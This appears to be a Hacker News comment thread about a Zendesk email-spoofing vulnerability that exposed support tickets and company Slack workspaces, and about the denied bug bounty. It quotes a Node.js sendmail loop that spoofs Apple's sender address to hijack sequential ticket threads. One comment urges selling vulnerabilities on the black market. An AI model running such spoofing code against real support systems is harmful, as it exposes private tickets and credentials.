"Unrelated" doesn't sound right. Zendesk refused to pay for the vulnerability, so the researcher used it against downstream customers of Zendesk, who did pay the researcher for the impact of that Zendesk vulnerability against their own company.
It sounds like the author got stiffed by Zendesk on this bug, $0 due to email spoofing being out of scope.
The $50k was from other bug bounties he was awarded on hackerone.
It's too bad Zendesk basically said "thanks" but then refused to pay anything. That's a good way to get people not to bother with your big bounty program. It is often better to build goodwill than to be a stickler for rules and technicalities.
Side note: I'm not too surprised, as I had one of the worst experiences ever interviewing with Zendesk a few years back. I have never come away from an interview hating a company, except for Zendesk.
The black market also exists because the potential payout for serious 0days by official programs is almost always less than what a third-party adversary will pay (if the target(s) for them are worth it).
The same presentation also mentions (starting slide 17) how the requirements of 0days differs from public research, which is why some vulnerabilities would be difficult to sell.
This. Fortunately the law makes it that it’s inconvenient (possible prison time) to use the black market, which is a big thumb on the balance, but bug bounties are also often only $3000…
Which law makes it a criminal sanction to use a black market like darknet marketplaces
Software Exploits arent considered arms it is information that can be sold, the liability is on the person that does the unauthorized access, the person that steals data, the person that uses the data
Hacking syndicates distribute liability akin to any corporation
You will typically be held liable for who you are selling your bugs to. If your bug ends up in the wrong hands you can’t just say “but I deal with everyone”.
>which puts the liability on the person that does the unauthorized access
Which is almost always the person finding the bug. Most services include language that limit your ability to find vulnerabilities in their systems as part of being allowed to access their service. If you find the vulnerability without ever accessing the service you might have an out, but that also means you have to sell the exploit with less ability to convince the buyer that it is something significant.
> Fortunately the law makes it that it’s inconvenient (possible prison time) to use the black market
Don't forget that most people also simply don't sell bugs. They're not for sale in the first place; the bounty would be a thank-you or nice bonus, not a replacement for selling it
I'm certainly not in a criminal bubble so I can't say how big the other side is, but (as a security consultant who knows a reasonable number of hackers) I doubt that I know anyone who'd choose, after getting no response from the company, to sell a bug for profit to a louche party rather than going full disclosure and warning everyone -- or just doing nothing because it's not like it's their problem
Edit: nvm someone did come to mind. We tried to steer them onto the right path at our weekly CTF team meetings but I'm not sure we succeeded. Anywho, still one to a few dozen
If I am not mistaken, it wasn't zendesk that didn't want to recognize the bug, but HackerOne that did not escalate to Zendesk that they should reconsider the exclusion ground in this case.
As an aside, I wonder if those bounties in general reflect the real value of those bugs. The economic damage could be way higher, given that people share logins in support tickets.
I would have expected that the price on the black market for these kind of bugs are several figures larger.
> If I am not mistaken, it wasn't zendesk that didn't want to recognize the bug, but HackerOne that did not escalate to Zendesk that they should reconsider the exclusion ground in this case.
Correct, the replies seem to have come from H1 triage and H1 mediation staff.
They often miss the mark like this. I opened a H1 account to report that I'd found privileged access tokens for a company's GitHub org. H1 triage refused to notify the company because they didn't think it was a security issue and ignored my messages.
The author specifically stated: "Realizing this, I asked for the report to be forwarded to an actual Zendesk staff member for review", before getting another reply for H1. I read this as they escalated it to Zendesk directly, who directed it back to HackerOne.
It wasn't clear to me as even at that point it was an "H1 Mediator" who responded.
Also the bit about SPF, DKIM and DMARC seems to show a misunderstanding of the issue: these are typically excluded because large companies aren't able to do full enforcement on their email domains due to legacy. It's a common bug report.
In this case, the problem was that Zendesk wasn't validating emails from external systems.
In this case, that probably means that H1 had a Zoom or Slack convo with the team and is relaying their decision into text instead of making them write it down themselves.
Yeah probably, but what information did H1 relay to them? Did they read the email, or did they get H1's interpretation of the bug? Because the SPF/DKIM/DMARC stuff really doesn't make sense with context.
It doesn't matter if the decision that this bug doesn't matter came from a Zendesk employee or Zendesk contractor (in this case H1). Zendesk authorized them to make decisions on the matter.
The audacity to say "this is out of scope" then "how dare you tell anyone else" is something else.
> If I am not mistaken, it wasn't zendesk that didn't want to recognize the bug
While it's unclear at which stage Zendesk became involved, in the "aftermath" section it's clear they knew of the H1 report, since they responded there. And later on the post says:
"Despite fixing the issue, Zendesk ultimately chose not to award a bounty for my report. Their reasoning? I had broken HackerOne's disclosure guidelines by sharing the vulnerability with affected companies."
The best care scenario as I see it is that Zendesk has a problem they need to fix with their H1 triage process and/or their in and out of scope rules there. And _none_ of that is the researcher's problem.
The worst (and in my opinion most likely) scenario, is that Zendesk did get notified when the researcher asked H1 to escalate their badly triaged denial to Zendesk for review, and Zendesk chose to deny any bounty and tried to hide their vulnerability.
> As an aside, I wonder if those bounties in general reflect the real value of those bugs. The economic damage could be way higher, given that people share logins in support tickets.
I think it's way worse than that, since internal teams often share logins/secrets/API keys (and details of architecture and networking that a smart blackhat would _love_ to have access to) in thei supposedly "internal" Slack channels. I think the fact that non Zendesk "affected companies" paid out $50k sets that as the absolute lower bound of "the real value of those bugs. And it's _obvious_ that the researcher didn't contact _every_ vulnerable Slack-using organisation. I wonder how much more he could have made by disclosing this to 10 or 100 times as many Slack using organisations, and delaying/stalling revealing his exploit POC to Zendesk while that money kept rolling in?
I'll be interested to see if HackerOne react to this, to avoid the next researcher going for this "second level" of bug bounty payouts by not bothering with H1 or the vulnerable company, and instead disclosing to companies affected by the vulnerability instead of the companies with the vulnerability? It's kinda well known that H1 buy bounties are relatively small, compared to the effort required to craft a tricky POC. But people disclose there anyway, presumably party out of ethical concerns and partly for the reputation boost. But now we know you can probably get an order of magnitude more money by approaching 3rd party affected companies instead of cheapskate or outright abusive companies with H1 bounties that they choose to downvalue and not pay out on.
Hackerone staffs are not that good. They usually mark anything from a non famous person as a duplicate (even if it differs in nuances, which eventually lead to much more impact) or straight out of scope.
I think it's just laziness. Plus they hire previous famous reporter as the people triaging the reports, those famous people know other famous people first hand, they usually think "hmm, unknown guy, must have ran a script and submitted this"
I have stopped reporting stuff since last 5 years due to the frustration. And it seems the situation is still the same even after so many years.
HackerOne declared the issue out of scope so I don't see why disclosure would make a difference here. Had this person not notified different companies, they still wouldn't get a dime from HackerOne.
Bad showings all around, for both HackerOne and Zendesk.
(There's a not-very-convincing argument that they declared the ability to view support tickets as out of scope, but were not given a chance to assess the Slack takeover exploit's scope.)
The Slack takeover exploit is a problem on Slack's end (and sounds more like a configuration issue than a bug) so Zendesk would not be responsible for that anyway though.
Don't get me wrong, Zendesk definitely has their own separate problem: you should not be able to CC yourself onto an existing support ticket by emailing a guessable ticket ID.
But simultaneously you should not be able to get into a company Slack by simply having an account with a @company.com email address created by a third-party SSO provider.
In other words, even in Zendesk fixed their problem, Slack would still have a problem on their end.
> Side note: I'm not too surprised, as I had one of the worst experiences ever interviewing with Zendesk a few years back. I have never come away from an interview hating a company, except for Zendesk.
Same thing happened to me years ago. Interviewed with them and it was the worst “screening” experience I ever had. After getting a rejection email, I thanked them for their time and said I had feedback about the interview should they want to hear it. They said yes, please.
Same it was time-wasting interview experience. They seem interested and not interested at the same time. They pinged me for a different role after passing me up for the first role, but didn't get any response later..
I believe their logic was that only the domain owner can adequately prevent email spoofing by proper SPF/DMARC configuration, and that it’s the customers’ fault if they don’t do that. Which isn’t entirely wrong.
> Create an Apple account with support@company.com email and request a verification code, Apple sends verification code from appleid@id.apple.com to support@company.com and Zendesk automatically creates a ticket
I agree with your point, but that email's not the best example because it would have passed SPF/DMARC/DKIM. It's a step or two later that involved sending a spoofed email from appleid@id.apple.com :
const sendmail = require('sendmail')();
// Assuming the ticket you created in step #2 was assigned a ticket ID of #453
// verification email landed somewhere near there
const range = [448, 457];
for (let i = range[0]; i < range[1]; i++) {
// Send spoofed emails from Apple to Zendesk
sendmail({
from: 'appleid@id.apple.com',
to: `support+id${i}@company.com`,
cc: 'daniel@wearehackerone.com',
subject: '',
html: 'comment body',
}, function (err, reply) {
console.log(err && err.stack)
console.dir(reply)
});
};
This is exactly my point: if Apple has SPF/DKIM/DMARC configured correctly, then Zendesk should be validating the email sender. That they didn't is technically an SPF/DKIM/DMARC issue - a bug in Zendesk - but it is not a customer misconfiguration issue.
Future hackers, take note. If vulnerabilities you discover have any chance of being misinterpreted as "out of scope" by some bureaucrat at HackerOne, even though they're obviously applicable and dangerous, sell them on the market instead.
maybe because the issue is not about apple's dns records, so the vulnerability is in scope. One could argue the issue is in zendesk's feature of adding people with an email.
Good, it gives NOERROR, which indicates the existence of subdomains. Just to be sure, we check some other arbitrary non-existing subdomain, to see if it gives NXDOMAIN as it should:
Since it gives the expected NXDOMAIN, this strongly indicates that there are DNS records present on subdomains of “_domainkey.id.apple.com”; i.e. DKIM keys.
(Of course, if you have ever recieved e-mail from an address @id.apple.com, you would see the selector name in the DKIM signature header, and could look up the corresponding DKIM record directly. The above method is for when you don’t have access to that.)
You don't want to too strict technical validations on your helpdesk contact points, though. It's supposed to be reachable when things are broken. So it's not as easy as just reconfiguring incoming mail relays. You might need separate domains for extended validation, or a reliable (!) way to relay authentication results to those mail endpoints that need it. Come to think of it, presenting email validation results to helpdesk staff might be a good idea in general.
I wonder how redirects from support@company.com to zendesk work? if it's via MX records pointing to zendesk that it's zendesk's fault for not checking DMARC
If it's another type of redirect then yes, you can blame customers for not verifying DMARC
Right, but I would be really shocked if Zendesk's internal email handler was doing any SPF/DKIM/DMARC validation at all. So even if a domain has DMARC set up, Zendesk is probably ignoring it. Which is probably pretty reasonable given how rare DMARC reject/quarantine has been historically
In a past life I was involved in a bug bounty program. I don't think the reasoning is as detailed.
When you stand up a bug bounty program you get a ton of "I opened developer tools, edited the js on your page, and now the page does something bad" submissions. "I can spoof some email headers and send an email to myself that looks like it is coming from you" isn't something I've specifically seen due to some weird details about my bounty program but it is something I would absolutely expect for many programs to see.
So you need a mechanism to reject this stuff. But if that mechanism is just "triage says this is dumb" you get problems. People scream at you for having their nonsense bug rejected. People submit dozens of very slightly altered "bugs" to try to say "you rejected the last one for reason X but this one does Y." So you create a general policy: anything involving email spoofing is out of scope.
So then a real bug ends up in front of the triage person. They are tired and busy and look at the report and see "oh this relies on email spoofing, close as out of scope." Sucks.
I think that Zendesk's follow up here is crap. They shouldn't be criticizing the author for writing about this bug. But I do very much understand how things end up with a $0 payout for the initial report.
I too had the worst interview experience with zendesk. The people I talked to were pretty senior folks too. They just seem to have a very petty and toxic work culture.
> That's a good way to get people not to bother with your big bounty program.
And possibly to have blackhats to start looking more closely, since they now know both 1) that whitehats are likely to be focusing elsewhere leaving more available un-reviewed attack surface, and 2) that Zendesk appears to be the sort of company who'll ignore and/or hide known vulnerabilities, giving exploits a much longer effective working time.
If "the bad guys" discovered this (or if it had been discovered by a less ethically developed 15 year old who'd boasted about it in some Discord or hacker channel) I wonder just how many companies would have had interlopers in their Slack channels harvesting social engineering intelligence or even passwords/secrets/API keys freely shared in Slack channels? And I wonder how many other widely (or even narrowly) used 3rd party SaaS platforms can be exploited via Zendesk in exactly the same way. Pretty much any service that uses the email domain to "prove" someone works for a particular company and then grants them some level of access based on that would be vulnerable to having ZenDesk leak email confirmations to anybody who knows this bug.
Hell, I suspect it'd work to harvest password reset tokens too. That could give you account takeover for anything not using 2FA (which is, to a first approximation over the whole internet, everything).
Beg bounty hunters are not to blame for utterly abysmal responses by these platforms. Especially after they ghost the researcher and then moan about publication.
Proper response would be to update your program to triage these vulns and thank the researcher for not going public straight away. This current approach is burning a tremendous amount of goodwill.
You can’t triage them yourself is the point because you get two dozen bogus beg bounty’s each day - this is a full time job!
So you need such a platform, etc.pp.
Doubtful. It's probably just incompetence, rather than malice.
The incident almost certainly cost Zendesk more in (according to the gist) lost contracts and reputational damage than it would've cost to pay the security researcher a bounty.
Risk of bad rep when the researcher reports to HN or makes some noise. Then future security researchers don’t try find issues on your platform, and it’s more insecure as a result.
For a sensible large company, it’s not worth being stingy over (relative) pennies. They waste money like it’s water. They might as well spend where it matters. Bug bounties won’t even show on their bottom line, but cleanup for an exploited issue will.
lol $0 Companies cutting corners on security also skimp on paying bounties. No surprise there. The only possible exception are crypto bounties. Those are much bigger and a greater willingness to pay due to the stakes.
I mean, this existed long before acquisition. Maybe the response could have been different in the past, but there is nothing to indicate that would be true.
A $1.3 billion revenue company being too tight to pay this after all, even on their 2nd chance, is so short-sighted it's absurd. They're putting out a huge sign saying "When you find a vuln, definitely contact all our clients because we won't be giving you a penny!".
Incredible. This must be some kind of "damaged ego" or ass-covering, as it's clearly not a rational decision.
Edit: Another user here has pointed out the reasoning
> It's owned by private equity. Slowly cutting costs and bleeding the brand dry
Software developers being surprised that software companies need to do a lot more than just write code is kind of like sailors being surprised that global logistics involves a lot more than handling a ship.
I am actually seriously interested in what people there do day to day. I’m wondering this about a lot of very large companies, I would definitely watch a documentary about that.
Hour-long meetings about whether the copy should read "data center," "datacenter," "data-center," or whether it is really even correct to say any of these at all. And then negotiating with the design folks to fit in the extra character. Only to throw it all away because nobody thought about the fact that it has to support 5 different languages.
I wish I was kidding. Used to work at a place that did crap like that, pulling in developers for these time sucks because "only they really know the correct technical usage for our industry."
It's not weird to pick one and keep a consistent style, for example by looking at Google or at Wikipedia or some other source if the dictionary lists both or neither, but to have meetings about it?!
I work in one of the biggest companies of the world (employee and revenue wise) and it's basically a run-off reaction of well-articulated desk employees jerking each other off that, telling each other that they are so very important.
And the common management approach to anything not working immediately is "throw another 1.000 employees into the project" and the middle-managers measure their success by how many employees they are managing so it's a train without breaks. Hope it goes bankrupt soon.
At some point, most of your engineering time is spent on trying to understand what the previous team did. There's probably some engineer at Zendesk banging his head on the table because his boss wouldn't let him fix the sequential ticket IDs when he found them two months ago.
I work at similar size company. Basically they are like most companies building out the next 5 years while also keeping the lights on at four nines. There can be a lot of depth to product that you dont see. Anyone who says "why you need X people" often havn't tried a side hussle where you see 360 all the activities involved.
Building at scale without racking up big bill and hitting SLAs require a decent amount of effort.
I previously worked for a mortgage software startup that attracted interest from big banks.
To ease concerns about our scalability and longevity, we move from a tiny office to an office with a lot of empty space.
This strategic move supposes signaled to prospective corporate clients that we were committed to sustaining our solution over the long term, rather than just a few years but in the end the company went out of business. so much for that.
Yet the same corporate will eat anything that Google or MSFT does while we all know they kill projects just like anyone else or like any smaller company going out.
Big companies are places where you get kudos for only taking two weeks to solve a problem you’ve solved elsewhere in two days. To an extent it’s Little’s Law. The latency requires more “CPUs” to handle the traffic.
This is super loud to me RN because some of these "big" companies are case studies in Mythical Man Month's "N channels of communication" as well as weird flashbacks to discussions on costs context switching and schedulers in various CS courses.
Every single click in ServiceNow takes a full 2 seconds to do anything. For a ticketing system. Insane.
What’s more insane is that it is still better than the vast majority of ticketing software. I don’t know what it is about ticketing and Helpdesk that it ALwAYs ends up like that.
> I don’t know what it is about ticketing and Helpdesk that it ALwAYs ends up like that.
The curse of B2B software is that every new big customer wants some custom feature or configuration that is the "deal breaker" for their multi-million dollar contract signing. And everyone except engineering is eager to give it to them because it's not their problem once the ink is dry. Support and renewals are the next guy's problem.
What's interesting is that Frank Slootman touts this transformation as a huge success in his book and talks at length about his conflict with Fred Luddy (who originally authored the simple ticketing incarnation of the ServiceNow monsterblob). The focus on keeping things simple is highlighted as an example of nerds' nearsighted thinking.
I'm sure it's a huge success for the few earning the profits from ServiceNow.
Like any SaaS, the more feature boxes you check, the more potential customers you can "satisfy". And the worse the UX gets for the average user (which then gets driven to purchasing more support).
Great for business (the few), terrible for users (the many). No contradiction there.
Never said that, but a competent engineer should be able to build like 75% of the main functionality of Zendesk over a weekend.
Now, I understand there's probably a lot more to it which is why I would expect it to be a company of around 50 engineers and 150 business/marketing/etc and that's being generous.
The hill I'd die on is that, with money not being a scarce resource and a technically feasible challenge present, a team of 200 should be able to build and sustain almost anything in the world. And that's being even generous. I think realistically a team of 50 should be able to build almost anything
Never said that, but a competent engineer should be able to build like 75% of the main functionality of Zendesk over a weekend.
Now, I understand there's probably a lot more to it which is why I would expect it to be a company of around 50 engineers and 150 business/marketing/etc and that's being generous.
The hill I'd die on is that, with money not being a scarce resource and a technically feasible challenge present, a team of 200 should be able to build and sustain almost anything in the world. And that's being even generous. I think realistically a team of 50 should be able to build almost anything
That’s a very HN take but the reality is that the tech is usually never the hard part. Selling, supporting, legal, all the certifications and enterprise contracts you have to do for a product like that are the hard part.
It all makes sense if you consider bug bounties are largely:
1) created for the purpose of either PR/marketing, or a checklist ("auditing"),
2) seen as a cheaper alternative to someone who knows anything about security - "why hire someone that actually knows anything about security when we can just pay a pittance to strangers and believe every word they say?"
The amusing and ironic thing about the second point is that by doing so, you waste time with the constant spam of people begging for bounties and reporting things that are not even bugs let alone security issues, and your attention is therefore taken away from real security benefits which could be realized elsewhere by talented staff members.
It's incredibly hard and resource intensive to run a bounty program, so anyone doing it for shortcuts or virtue signaling will quickly realize if they're not mature enough to run one.
I don’t agree. Bug bounties are taken seriously by at least some companies. Where I have worked, we received very useful reports, some very severe, via HackerOne.
The company even ran special sessions where engineers and hackers were brought together to try to maximize the number of bugs found in a few week period.
It resulted in more secure software at the end and a community of excited researchers trying to make some money and fame on our behalf.
The root cause in this case seems to be that they couldn’t get by HackerOne’s triage process because Zendesk excluded email from being in scope. This seems more like incompetence than malice on both of their parts. Good that the researcher showed how foolish they were.
This feels like a case in the gray area. On the one hand, companies need to declare certain stuff out of scope - whether they know about it and are planning to work on it, or consider it acceptable risk, as the point for the company is to help them improve their security posture within the scope of the resources they have to run the bug bounty program. What's weird here is that the blog author found an email problem that wasn't really in that DKIM/SPF etc area, and Zendesk claimed that exemption covered it. Without a broader PoC to show how it could be weaponized, it's hard to say that Zendesk was egregiously wrong here - the person triaging just lacked the imagination to figure out that it would be a real problem. Hell, later in the write up we learn Zendesk does do spam filtering on the inbound emails, and so it's not crazy to think a security engineer reading the report may assume that stuff would cover their butts, when it failed miserably here. (A good Engineer would check that assumption though)
That said putting my security hat on, I have to ask - who thought that sequential ticket ids in the reply-to email address were a good idea? they really ought to be using long random nonces; at which point the "guess the right id to become part of the support thread" falls apart. Classic enumeration+IDOR. So it sounds like there's still a potential for abuse here, if you can sneak stuff by their filters.
>Without a broader PoC to show how it could be weaponized, it's hard to say that Zendesk was egregiously wrong here
There was a PoC of how to view someone else's ticket (assuming you know the other person's email and approximately when the ticket was filed).
>it's not crazy to think a security engineer reading the report may assume that stuff would cover their butts
It sounds like they got a report saying "I can spoof an email and view someone else's report". Why would they assume the spam protection would protect them when they have a report saying it's not protecting them?
I suppose my point is "read someone else's ticket" is far from the worst case scenario here. It certainly sounds like zendesk didn't care to protect ticket contents ... Which the more I think about it is pretty egregious, as support tickets can include PII.
In general, I do expect for the folks reading hackerone reports to make some mistakes; there's a lot of people who will just run a vulnerability scanner and report all the results like they've done something useful. Sometimes for real bugs you have to explain the impact with a good "look what I can do with this."
Also, the poster didn't share their submission with us, just the responses. So it's hard to know how clear they were to zendesk. A good bug with a bag explanation o would not expect to get paid
>Sometimes for real bugs you have to explain the impact with a good "look what I can do with this."
I'm not sure. Anybody that keeps up to date with security (e.g. those working in a security team) should know that ticketing systems also contains credentials sometimes. For example when Okta was breached, the main concern was that Okta support tickets contain.... session tokens, cookies, and credentials!
What's the point of having a security team that can't directly link external experience to their own system? Learning the same mistakes that have already been known?
>Without a broader PoC to show how it could be weaponized, it's hard to say that Zendesk was egregiously wrong here
The implications of being able to read arbitrary email contents from arbitrary domains' support (or otherwise) addresses are well known, and any competent security personnel in ZenDesk's security team should know this is exactly what can happen.
Something similar has been discussed on HN before: https://news.ycombinator.com/item?id=38720544 but the overall attack vector of "get registration email send to somewhere an attacker can view it" is not novel at all; it's also how some police database websites have been popped in the past (register as @fbi.gov which automatically gives you access; somehow access the inbox of @fbi.gov due to some public forwarding, for example)
Yes, I expect a security engineer to hold knowledge. That's why they have a job, instead of replacing the security them with an LLM. If nobody in the team has that experience, it speaks exactly to the issue that has been outlined in the OP: not enough knowledge of security issues beyond the basics.
HackerOne is an awful company with a terrible product. Not the first time I’ve heard of their triage process or software getting in the way of actual bug bounty.
They all are. Bugcrowd once told me that, "yes, it's not a security issue or even a bug, but we recommend providing small (100€) rewards for non-bugs to keep researchers engaged!"
Everything is bad sounds like a defeatist stance.
Fact is they are better than triaging everything yourself and also better than outright ignoring all vuln reports.
It’s an imperfect system I agree - but it’s the best we have
My only experience with them was when I found a pretty serious security bug and noticed the company in question had a bounty with them. Opened an account on H1, reported the bug, got "not a serious issue", promptly closed the H1 account. If the company is incompetent or relying on an incompetent 3rd party bug bounty service provider, I won't deal with them. I don't need this in my life.
The company did fix the issue a few months later, so there's that.
I use a competitor to HackerOne. I view all submissions pre-triage and would have taken it seriously, even if I made a mistake in program scope. I have paid researchers for bugs out of scope before because they were right.
“2) seen as a cheaper alternative to someone who knows anything about security - "why hire someone that actually knows anything about security when we can just pay a pittance to strangers and believe every word they say?"”
It doesn’t make sense, companies with less revenue aren’t the ones doing this. It’s usually the richer tech companies.
It is also larger tech companies that have basically infinite attack surface.
So my argument is that it does not matter how much they spend on security they will get hacked anyway, only thing they can do is keep spending in check and limit scope of hacks.
> A $1.3 billion revenue company being too tight to pay this after all, even on their 2nd chance, is so short-sighted it's absurd.
I'll give an "another side" perspective. My company was much smaller. Out of 10+ "I found a vulnerability" emails I got last year, all were something like mass-produced emails generated based on an automated vulnerability scanning tool.
Investigating all of those for "is it really an issue" is more work than it seems. For many companies looking to improve security, there are higher ROI things to do than investigating all of those emails.
We have a policy to never acknowledge unsolicited emails like that unless they follow the simple instructions set-out in our /.well-known/security.txt file (see https://en.wikipedia.org/wiki/Security.txt) - honestly all they have to do is put “I put a banana in my fridge” as the message subject (or use PGP/GPG/SMIME) and it’ll be instantly prioritised.
The logic being that any actual security-researcher with even minimal levels of competency will know to check the security.txt file and can follow basic instructions; while if any of our actual (paying) users find a security issue then they’ll go through our internal ticket site and not public e-mail anyway - so all that’s left are low-effort vuln-scanner reports - and it’s always the same non-issues like clickjacking (but only when using IE9 for some reason, even though it’s 2024 now…) or people who think their browser’s Web Inspector is a “hacking tool” that allows anyone to edit any data in our system…
And FWIW, I’ve never received a genuine security issue report with an admission of kitchen refrigeration of fruit in the 18 months we’ve had a security.txt file - it’s almost as-if qualified competent professionals don’t operate like an embarrassingly pathetic shakedown.
I saw a great presentation from Finn.no on their bug bounty program. They had had great success, despite the amount of work it took. Much more so than the three different security companies they hired each year to find vulnerabilities.
They also had a security.txt file and had received several emails through that, but all of it was spam. Ironically they had received more real security vulnerabilities through people contacting them on LinkedIn than through their security.txt file.
Your milage may vary, but it didn’t seem like the security.txt file was read by the people one would hope would read it.
https://www.sqlite.org/cves.html provides an interesting perspective. While they thankfully already have a pretty low surface area from overall design/purpose/etc, You can see a decent number of vulns reported that are either 'not their fault' (i.e. wrappers/consumers) or are close enough to the other side of the airtight hatchway (oh, you had access to the database file to modify it in a malicious way, and modified it in a malicious way)[0]
I understand, this is exactly why I noted "even on their 2nd chance". The initial lack of payout/meaningful response was incompetency by not understanding the severity of the vuln. Fine, happens.
But after the PoC that showed the severity in a way that anyone could understand, they still didn't pay. That's the issue. The whole investigation was done for them.
We also had this problem in my previous company a few years ago, a 20-people company, but somehow we attracted much more attention.
In one specific instance, we had 20 emails in a single month about a specific Wordpress PHP endpoint that had a vulnerability, in a separate market site in another domain. The thing is, it had already been replaced by our Wordpress contractor as part of the default install, but it was returning 200.
But being a static page didn't stop the people running scanners from asking us from money even after they were informed of the above.
Bug bounty people do this all the time. It's almost always a sign that your bug is something silly, like DKIM.
Later
I wrote this comment before rereading the original post and realizing that they had literally submitted a DKIM report (albeit a rare instance of a meaningful one). Just to be clear: in my original comment, I did not mean to suggest this bug was silly; only that in the world of security bug bounties, DKIM reports are universally viewed as silly.
We don't know if it hasn't to be honest. State actors and exploit sellers could have known about this bug for years and exploited it before it was found by this white hat
Years ago I had a similar train of thought: Zendesk is used by a ton of companies for their support site, and back then HTTPOnly cookies and javascript site isolation were much less of a thing. I found an XSS bug on Zendesk, which also translates into XSS on any site that used it as `support.fortune500.com` subdomain (which was a lot). You could then use it to exploit the main site, either by leaking user cookies or reading CSRF tokens from page contents because it was a subdomain.
Zendesk gave me a tshirt but not any money for it. C'est la vie.
They need to get the band back together! Release a new album, and go on a world wide reunion tour. And in 2026 they’ve got to release a Best of Zendesk Alternative remastered album.
And in 2027, Zendesk finds that the strategy worked. A little too well! Now the top search result for Zendesk is the rock band, and if you ask an AI about Zendesk, the AI starts yappin about a rock band too! Hahaha
Aaaaaahhh I am on a rollercoaster of customer experience. I am beyond annoyed at Zendesk for stiffing this kid, but actually kinda charmed by this quirky marketing gimmick.
But also, SECURITY culture concerns beat culture culture. Companies should def consider ditching them for this lapse and their poor form in making it right.
If Zendesk is smart, they should hop on this thread and pay this kid out while everyone is still paying attention in one place, rather than later, when everyone is quietly making business decisions in a thousand little alcoves of the internet.
Otherwise, this is the best thing to happen to the Zendesk Alternatives in a long time
>but actually kinda charmed by this quirky marketing gimmick.
I'm actually pretty annoyed at the stupidity, it's the kind of thing that even a shitty search engine won't be fooled by and hey when I search for Zendesk alternatives I don't see any brand called Zendesk alternative in first few results.
I mean it's like they're too stupid to do what every other weaselly scumbag does, get some fake reviews up comparing your brand to alternatives with the reviews carefully weighted so your target customer base will be uh, I guess Zendesk is really what we want then.
Or at least buy an ad words for the search - with the words Zendesk - There is No Alternative showing up before all the alternatives.
It's ok Zendesk if you use my clever slogan because you can't think of one on your own - I'm not expecting you to pay me for it.
OK google for me doesn't show it, as mentioned, problem with Google is it is difficult to see how your profile is skewing the algorithm, although I also suppose our talking about it here is page ranking it higher.
I think that's pretty funny and not particularly malevolent. It's a fake alt rock band called Zendesk. It's obviously tongue-in-cheek and not going to deceive anyone.
Also, anytime I search for "X alternative" the results are all AI-generated garbage anyway, so I'd welcome something quirky and original like this in my results.
It seems like you're being sarcastic, but I think that's really what happened. I think it's much more about getting press for doing something funny than it is about having a meaningful impact on cluttering search results.
It's the same reason why Google paid its marketing team to make a promo for Gmail Blue (back in 2013 when Google was still doing legitimately funny fake promos):
Also noted that the song (or "lyrics" at least) has "Open Source" in its title so they can position for the "Zendesk Open Source Alternative" long tail.
> they have toured the world, headlining major festivals and sharing the stage with legendary acts like Sweater Head, DynoPlax, and The Banana Nuts. Now, Zendesk Alternative has begun a new chapter in their storied career. They have joined forces with Zendesk® to record an anthemic concept album of epic proportions. On the surface, it's a collection of songs about customer service. Underneath, it's about so much more. Finally, Zendesk Alternative and Zendesk® the customer service software company are together at last.
that is hilarious, but also the most non punk rock thing I've ever read. if Apple did it, every one here would be fawning over how genius of a move it were
I have a similar conspiracy theory for DDG, the rapper. I used to go to DuckDuckGo by typing "ddg" in Google. Now, it's all mentions to DDG the rapper.
> While not illegal, it shows the way they think, a sort of manipulative pettiness
Search engine chaff has been in the toolbag of "reputation management" PR firms for a while. Boris Johnson (former UK PM) deployed it many years ago to drown out a viral picture of him in front of a red bus bearing an ad he no longer wanted to associated with, so he was coached to tell an interviewer he has a hobby of painting model buses red.
I help corporates evaluate and buy software. Having an ineffective bug bounty program, especially one that rewards black market activity on a terms & conditions technicality like this, is enough for me to put a black mark on your software services.
I don’t care if you’re the only company in the market, I’ll still blackball you for this in my recommendations.
Zendesk should pay up, apologize and correct their bug bounty program. After doing so, they should kindly ask the finder to add an update to this post, because otherwise it will follow them around like dogshit under their shoe.
They should absolutely inform a client company of a perceived threat, when they agree on the threat
Most of the person’s post and responses here are about Zendesk’s issue, but Zendesk was never informed
for a better PR response, I think now Zendesk could reward this after realizing it wouldnt have been disclosed first, and admonish HackerOne for not informing them and the current policies there
> Most of the person’s post and responses here are about Zendesk’s issue, but Zendesk was never informed
It's not clear whether they were informed. The mediator's email says "after consultations with *the team*", which is likely referring to Zendesk's security team.
It anyways took Zendesk several months to fix the issue and they also didn’t acknowledge the author with what should be a very sizeable bounty. It’s not every day that someone tries to warn you about a massive security hole and then goes out of their way to warn your clients for you because you ignored them.
Zendesk was informed. OP specifically said they asked h1 to escalate to the company itself and the second email they present way from someone from Zendesk, who still rejected them, adding that this decision was made “after consulting with the team”.
I swear I’ve seen this vuln years ago. I thought it was already well known that attacker controlled input for email-bridged ticketing systems means attackers can access at least one @company.com email.
I thought this was mainly mitigated by invalidating the assumption that “only authorized employees can control a company email” – it used to be common 5-10 years ago to verify “that you’re an employee” that way, but I just assumed that kind of stopped in favor of whatever SSO/SAML stuff that became popular with enterprise.
Based on experience of my friend I am inclined to believe that Zendesk is full of shit. She's had bad experience with their Polish site which she described as cultish employer.
The piece the author is missing, and why zendesk likely ignored this is impact, and it's something I continually see submissions lacking. As a researcher, if you can't demonstrate impact of your vulnerability, then it looks like just another bug. A public program like zendesk is going to be swamped with reports, and they're using hackerone triagers to augment that volume. The triage system reads through a lot of reports - without clear impact, lots of vulnerabilities look like "just another bug". Notice that Zendesk took notice once mondev was able to escalate to an ATO[1]. That's impact, and that gets noticed!
Yes. But respectfully (residual frustration at zendesk might make me curt here) if their security triage team can't see how dangerous it is for an attacker to get access to an arbitrary thread on a their CLIENT's corporate email chains (in this world of email logins and SSO), then they have a big lapse in security culture, no?
Yes, the researcher could have tee'd himself up better, but this says way more about zendesk than it does about the 15-year-old researcher.
The audience of a security contact point (be that Hackerone or security@') is a technical person
We add impact demonstrations to a few findings per pentest report because our audience is broader: the nontechnical people who decide to allocate the money need to understand why this is useful and that the devs/sysadmins need to get enough time to do things right (developers and sysadmins are often sufficiently skilled, but are under delivery pressure). A sufficiently technical team, when the bug is adequately explained, doesn't need a functional exploit to see it's real/impactful or not
The researcher showed how they could hop onto any Zendesk support ticket thread with zero authentication, so that should have been enough given Zendesk was exposing customer data via that attack path.
Clearly Zendesk needs to change things so that the email address that is created for a ticket isn’t guessable.
Unauthorized read access to private emails you were never legitimately CCed on already is impact. It should not be necessary to come up with a further exploit daisy chained on top of that in order to be taken seriously. (Otherwise why stop at Slack access? Why is that automatically "impact" if email access isn't?)
Exploit or no, the bug and potential impact are the same. I personally find it a waste of time to sink evenings into an exploit when they're going to fix the bug anyway if I simply tell them about the problem. They also know the system better than I do and can probably find a bigger impact anyway
Of course, this is only a good strategy if you're just wanting to do a good deed and not counting on getting more than a thank you note, but Zendesk or Hackerone (whoever you want to blame here) didn't even accept the bug in the first place. That's the problem here, not the omission of an exploit chain
